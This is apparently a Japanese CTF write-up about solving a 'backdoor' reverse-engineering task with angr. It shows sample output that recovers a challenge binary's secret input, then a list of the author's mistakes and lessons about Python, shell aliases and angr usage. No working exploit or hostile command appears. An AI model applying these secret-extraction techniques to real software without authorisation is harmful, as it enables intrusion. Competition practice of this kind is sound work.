"usage: %s binary_file" % sys.argv[0] exit() main(sys.argv[1])
実行例:
% time python2 backdoor2-angr.py 30506f9aa41ca3067d7568539a7267e8 [*] find address = 0x400271 [*] found: '\xacD\xd5.c:\xd0\xe5' [*] self check [*] content of secret is 'this_is_secret' this_is_secret python2 backdoor2-angr.py 30506f9aa41ca3067d7568539a7267e8 8.21s user 0.16s system 99% cpu 8.395 total
感想
- 問題は面白かった。簡単だが、問題がコロコロ変わるの最高ー!
よかったこと
とあるプロにとっては当たり前なのかもしれないけど
- 競技説明中に、落としてきたバイナリを保存するプログラムを書いておけた
- pwntoolsでサーバーとやり取りするという安定の方法をとれた
- バイナリの名前をmd5のsum値で保存することで、ファイルを受け渡すことなく一緒になって同じバイナリを解析することが容易だった
- 大会前にangrを入門できた(のに…)
反省点(やらかし列伝)
無能ミス連発
- Hopperからでangrを動かせるプラグインを事前に作ったものの、正答の入力が印字可能文字の範囲内という制約式を付けてしまっていたため、angrで簡単には解けないとミスジャッジ
- 実際には簡単に解ける(gif)
- angrで解くpythonスクリプトを書いたが、ファイル名を
angr.py
にして、スクリプト内のimport angr
で自分をimportさせる馬鹿をした- これをチームメイトのぴんくもやっていた
- 数日潰してまでめっちゃangrに入門したのに〜ぃ
- 普段、
objdump -Mintel
をobjdump
にaliasしていて、スクリプトobjdump
と読んでもintel記法にはならない→grepで期待したアセンブリが引っかからない - pythonで配列のスライスは
arr[from:to]
というように、開始から終了までのインデックスを指定するものなのに、arr[offset:length]
というようなオフセットから数文字とると勘違いしていた - シェルスクリプトで解析対象のファイル名を引数で取るつもりが、ファイル名をベタ書きしていて時間を無駄にした
- HopperやIDA Proの解析ミスり気味だった。それで粘るのではなく、objdumpやstringsゴリ押しで効率よく解析すべきだったか?(
grep xor
とか?) - xorで全探索で求めてるの無能気味では
学んだこと
- pythonスクリプトを、そこでimportするモジュールと同じ名前にしてはならない
- シェルでバイナリから特定の情報を取るなど複雑なことをしたいときは、シェルスクリプトで作っておくとチェックとコーディングが楽(今回でいうとfind.sh, xor.sh, length.sh) or 小学生に煽られてでもpythonでcommands(python2のみ)のようなモジュールを使うとよい
- pwntoolsのような特殊なモジュールを使うと他のチームメイトが実行できない可能性がある or 事前にチームメイト間の環境を揃える
- aliasを普段のシェルで無効化したほうが事故を防げそう
- grepの
-A
、-B
オプションクソ便利 - カレントディレクトリに
angr.py
、angr.pyc
というファイルがあると、import angr
に無言の死を遂げる
おまけ
本番1週間前ぐらいに、angrで解いてくれるHopper Script書きました。
Ping-Micのtool置き場(GitHub)に上げてあります。
Hopperでbackdoor(hard)を秒殺(?)してみた
他の人にひとこと
angrの出力を見て、成功したか成功しなかったのかを判断するのはangrの流儀に反してると思います。(確かにそれでも解けますけど…)
PathGroup.explore()でfindを指定しない、State.add_constrains()しないでdeadendするまで動かしてその時の標準出力を見るのは探索効率が非常に悪いです。
あんだけ本番でガンガンangr使えるように練習したのに、ファイル名が原因でangr使えなかったのは、本当に勝機を逃しすぎてる…
angr.pyというファイル名はダメ、絶対!